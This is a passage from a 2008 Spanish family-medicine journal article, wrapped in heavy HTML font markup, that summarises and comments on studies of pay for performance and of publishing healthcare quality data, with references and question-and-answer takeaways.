<p>más que ensayos clínicos), y </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">g) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">es costosísimo demostrar la eficacia</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de la innovación en calidad (es costoso, pero más costosa</p>
<p align="left">resulta la falta de calidad).</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Comentario</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">La innovación en calidad tiene tan buen aura como la prevención.</p>
<p align="left">Así, las actividades que se supone que mejoran la calidad</p>
<p align="left">se aceptan por «buena intención». Necesitamos pruebas</p>
<p>también en calidad</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">. También para la aceptación de los incentivos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">por rendimiento, por mejora de la calidad del desempeño</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">2</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">.</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">El pago por rendimiento puede ser bien intencionado, pero</p>
<p align="left">precisa demostrar sus beneficios en la salud de los pacientes y</p>
<p align="left">de la población<font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">3</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">.</font></font></p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></strong></font><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Shojania KG, Duncan BW, McDonald KM, Wachter RM. Safe but sound:</p>
<p align="left">patients safety meets evidence-based medicine. JAMA. 2002;288:508-13.</p>
<p align="left">2. McColl A, Roderick P, Gabby J, Smith H, Moore M. Performance indicators</p>
<p align="left">for primary care: an evidence based approach. BMJ. 1998;317:1354-60.</p>
<p align="left">3. Fleetcroft R, Cookson R. Do the incentive payments in the new NHS contract</p>
<p align="left">for primary care reflect population health gains? J Health Serv Res</p>
<p align="left">Policy. 2006;11:27-31 (2).</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Es la calidad tan importante que no precisa del mismo</p>
<p align="left">rigor en su mejora que otros campos de la práctica médica?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">La calidad es importantísima, y es manifiestamente</p>
<p align="left">mejorable en la práctica clínica, pero conviene ser rigurosos</p>
<p align="left">en la diseminación y aceptación de propuestas de</p>
<p align="left">mejoras de la calidad clínica.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 1</p>
<p align="left">ANTES DE INNOVAR EN CALIDAD, DEMUESTRE</p>
<p align="left">LA EFECTIVIDAD DE LA INNOVACIÓN</p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Sirve para algo publicar y difundir datos sobre la calidad</p>
<p align="left">del desempeño de instituciones y profesionales sanitarios?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Los efectos de la difusión de información sobre la calidad</p>
<p align="left">del desempeño son escasos e inconsistentes.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 2</p>
<p align="left">LA PUBLICACIÓN Y PUBLICIDAD DE DATOS</p>
<p align="left">SOBRE CALIDAD DEL DESEMPEÑO TIENE ESCASO</p>
<p align="left">EFECTO PR�?CTICO</p>
<p></font></font></font></strong><font face="Helvetica" size="1"><font face="Helvetica" size="1"><font face="Helvetica" size="1"><font face="Helvetica" size="1" /></font></font><font face="Helvetica" size="1"><font face="Helvetica" size="1"><font face="Helvetica" size="1" /></font></font></font></font></font><font face="Helvetica" size="1"><font face="Helvetica" size="1"><font face="Helvetica" size="1"><font face="Helvetica" size="1"></p>
<p align="left">(2) Este artículo, clave en la discusión sobre el pago por rendimiento, fue comentado</p>
<p align="left">por los firmantes en la sección «El último año de…» en 2007. Se trata del</p>
<p align="left">quinto trabajo incluido en: Gérvas J, Pérez Fernández M. Los límites de la prevención</p>
<p align="left">clínica. AMF. 2007;3:352-60.</p>
<p></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">61 AMF 2008;4(6):344-352 <strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1">345</font></font></strong></p>
<p></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Juan Gérvas</p>
<p align="left">Mercedes Pérez Fernández</p>
<p align="left">Pago por desempeño (<em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for performance»</font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">) [P4P])</font></font></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Fung CH, Lim YW, Mattke S, Damberg C, Shekelle PG.</p>
<p align="left">Systematic review: the evidence that publishing patient care</p>
<p align="left">performance data improves quality of care. Ann Intern Med.</p>
<p align="left">2008;149:111-23.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">En el sistema sanitario está de moda ser transparente,</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">con la esperanza de que la transparencia ayude a</p>
<p align="left">mejorar (más calidad, mejor elección por el paciente, más seguridad).</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Sintetizar los resultados de los trabajos en que</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">se analiza el impacto de publicar y difundir datos sobre la calidad</p>
<p align="left">del desempeño.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Revisión sistemática de la literatura científica</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">en inglés.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Se partió de dos revisiones sistemáticas previas</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1,2</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">,</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">para seleccionar todos los artículos que las citaban</p>
<p align="left">hasta 2006. Además, se hizo una revisión de los trabajos con</p>
<p align="left">datos originales publicados sobre la cuestión antes y después</p>
<p align="left">de dichas revisiones. Se valoró primero la calidad de los trabajos,</p>
<p align="left">y después se analizaron según se refirieran a hospitales,</p>
<p align="left">profesionales o aseguradoras.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">De 2.543 artículos seleccionan 45 según los</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">criterios señalados. Casi todos son descriptivos, de hospitales</p>
<p align="left">y referidos a cirugía cardíaca. En esta revisión no se llega</p>
<p align="left">a resultados concluyentes. Los estudios sugieren un ligero</p>
<p align="left">efecto en el rechazo de aseguradoras que tiene peores datos</p>
<p align="left">de desempeño y un efecto menor en el aumento de la calidad</p>
<p align="left">en los hospitales tras la publicación de los datos. No se</p>
<p align="left">puede concluir acerca del impacto en la seguridad del</p>
<p align="left">paciente o en la efectividad de los cuidados. Hubo efectos</p>
<p align="left">secundarios, como la menor continuidad de la publicidad de</p>
<p align="left">las aseguradoras que tuvieron peores resultados iniciales, el</p>
<p align="left">rechazo en los hospitales de los pacientes más complicados</p>
<p align="left">(cuyo tratamiento probablemente conllevaría peores datos</p>
<p align="left">de calidad, por las complicaciones), el envío de casos más</p>
<p align="left">graves a los mejores hospitales y la selección de los cirujanos</p>
<p align="left">con menos mortalidad por parte de los pacientes de clase</p>
<p align="left">alta (mientras los de clase baja seguían siendo atendidos por</p>
<p align="left">los cirujanos con más mortalidad).</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Comentario</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Medir, analizar, publicar y difundir datos e información</p>
<p align="left">sobre calidad del desempeño tiene impacto escaso e inconsistente</p>
<p align="left">en aspectos prácticos. Al afán de transparencia le faltan</p>
<p align="left">estudios rigurosos sobre los beneficios y perjuicios de la misma.</p>
<p align="left">El pago por desempeño puede mejorar el panorama si se tienen</p>
<p align="left">en cuenta estos problemas.</p>
<p></font></font><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Marhall MN, Shekelle PG, Leartherman S, Brook RH. The public release of</p>
<p align="left">performance data: what do we expect to gain? A review of the evidence.</p>
<p align="left">JAMA. 2000;283:1866-74.</p>
<p align="left">2. Scheneider EC, Lieberman T. Publicly disclosed information about the</p>
<p align="left">quality of health care: response of the US public. Qual Heatlh Care.</p>
<p align="left">2001;10:96-103.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Werner RM, Asch DA. Clinical concerns about clinical performance</p>
<p align="left">measurements. Ann Fam Med. 2007;5:159-63.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">La implantación de los incentivos por calidad,</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">por desempeño, está cambiando también la práctica clínica en</p>
<p align="left">Estados Unidos. Algunos clínicos se resisten, pero no parecen</p>
<p align="left">encontrar mucho eco.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Analizar el fundamento de las quejas de los clínicos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">que se oponen a la implantación ubicua de los incentivos</p>
<p align="left">por rendimiento.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Revisión teórica, ilustrada con ejemplos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de casos clínicos.</p>
